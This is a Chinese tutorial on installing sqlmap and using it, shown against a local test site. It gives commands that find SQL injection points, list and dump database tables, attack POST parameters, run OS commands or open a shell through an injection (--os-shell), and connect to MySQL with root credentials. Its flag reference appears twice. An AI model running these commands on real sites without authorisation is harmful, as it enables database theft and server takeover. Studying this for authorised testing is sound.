sqlmap的安装与使用

China☆狼群 提交于 2019-12-03 01:22:34

sqlmap是基于python环境的,所以在这之前需要安装python环境

Sqlmap的使用

Sqlmap是开源自动化利用工具,只是12种数据库,在/plugins中可以看到支持的数据库,在所有注入工具中最好用。

 

安装sqlmap

1、sqlmap搭配python使用,所以搭建python环境(2.7

去官网下载即可,安装后不需单独配置环境

 

 

 

 

2、下载sqlmap

官网下载即可,下载解压后把解压后的文件夹放在python的文件路径下

 

 

 

 

3、测试是否安装成功

打开cmd,进入sqlmap文件路径下

 

 

 

 

输入python  sqlmap.py  --version,若出现一下信息,则说明安装成功

 

 

 

 

4、在桌面创建快捷方式

 

 

 

下一步命名为sqlmap

然后确定

 

 

 

右键属性,将起始位置设置为sqlmqp文件路径

 

 

 

这样就可以快捷使用sqlmap

 

 

 

 

 

使用sqlmap

1Sqlmap -u 目标url

本次测试用的本地搭建的网站

 

 

 

开始测试

 

 

 

测试结果,表明有注入点

 

 

 

结果存放在上诉路径的这个文件中

 

 

 

2、查看目标所有数据库

Sqlmap.py -u “url” --dbs

 

 

 

查看文件log

 

 

 

3、获取当前数据库

Sqlmap.py -u “url” --current-db --dbms mysql

 

 

 

4、获取当前数据库下的表

Sqlmap.py -u “url” -D 数据库名 --tables

 

 

 

5、获取字段名

Sqlmap.py -u “url” -D 数据库名 -T表名 --colums(多个字段名需要用逗号隔开)

 

 

 

6、获取内容

Sqlmap.py -u “url” -D 数据库名 -T表名 --dump

 

 

 

至此,测试完成。

 

 

sqlmap的基础命令(常用)

-u:指定被扫描的url

-b:获取banner信息

--is-dba:是否是管理员权限

--current-db:当前数据库

--current-user:当前用户

--dbs:列举数据库

--tables:列举数据库的表名

--count:检索所有条目数

--columns:获取表的列名

--dump:获取表中的数据,包含列

-v:显示详细信息

sqlmap进阶命令(常用)

 

--level:测试等级(1-5),默认为1。大于2时,会检测cookie注入;大于3时,会检测头注入

--risk:执行测试的风险(0-3,默认为1)。risk越高,检测越慢越安全

--technique:指定注入类型。B->布尔注入;E->报错注入;U->联合查询;T->延时注入;S->堆叠查询

--time-sec DBMS响应的延迟时间(默认为5秒)

--proxy:使用代理服务器连接到目标URL

--cookie:指定cookie

--user-agent:指定请求头。默认情况下sqlmapHTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)

--random-agent:从./txt/user-agents.txt中获取随机获取请求头

--method:强制使用给定的HTTP方法

--safe-freq:测试一个给定安全网址的两个访问请求

--delay:可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的

--timeout:可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30

--dbms:指定数据库。mysqloraclemssql

--os:指定操作系统

--os-shell:获取一个shell,根据网站的语言

 

sqlmap的基础命令(常用)

 

-u:指定被扫描的url

-b:获取banner信息

--is-dba:是否是管理员权限

--current-db:当前数据库

--current-user:当前用户

--dbs:列举数据库

--tables:列举数据库的表名

--count:检索所有条目数

--columns:获取表的列名

--dump:获取表中的数据,包含列

-v:显示详细信息

sqlmap进阶命令(常用)

 

--level:测试等级(1-5),默认为1。大于2时,会检测cookie注入;大于3时,会检测头注入

--risk:执行测试的风险(0-3,默认为1)。risk越高,检测越慢越安全

--technique:指定注入类型。B->布尔注入;E->报错注入;U->联合查询;T->延时注入;S->堆叠查询

--time-sec DBMS响应的延迟时间(默认为5秒)

--proxy:使用代理服务器连接到目标URL

--cookie:指定cookie

--user-agent:指定请求头。默认情况下sqlmapHTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)

--random-agent:从./txt/user-agents.txt中获取随机获取请求头

--method:强制使用给定的HTTP方法

--safe-freq:测试一个给定安全网址的两个访问请求

--delay:可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的

--timeout:可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30

--dbms:指定数据库。mysqloraclemssql

--os:指定操作系统

--os-shell:获取一个shell,根据网站的语言

 

 

Post注入的sqlmap利用方法

拦截数据包保存txt文件post.txt

Python sqlmap.py -r post.txt -p “uname” (-r 读取指定的文件,-p告诉sqlmap测试那个参数)

 

 

Sqlmap注入点执行系统命令或者交互式shell

(条件:1、数据库有写文件权限;

2、需要知道web路径)

Sqlmap.py -u “target_url” --os-cmd=ipconfig

Sqlmap.py -u “target_url” --os-shell获取系统的shell

Sqlmap.py -u “target_url” --os-dba判断当前用户是不是dba

 

Sqlmap直连mysql数据库

Sqlmap.py -d “mysql://root:root@192.168.91.1:3306/mysql” -f --banner --dbs --users

 

sqlmap注入利用access

Access数据库没有库的概念,打开数据库文件只看到表和字段和内容

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!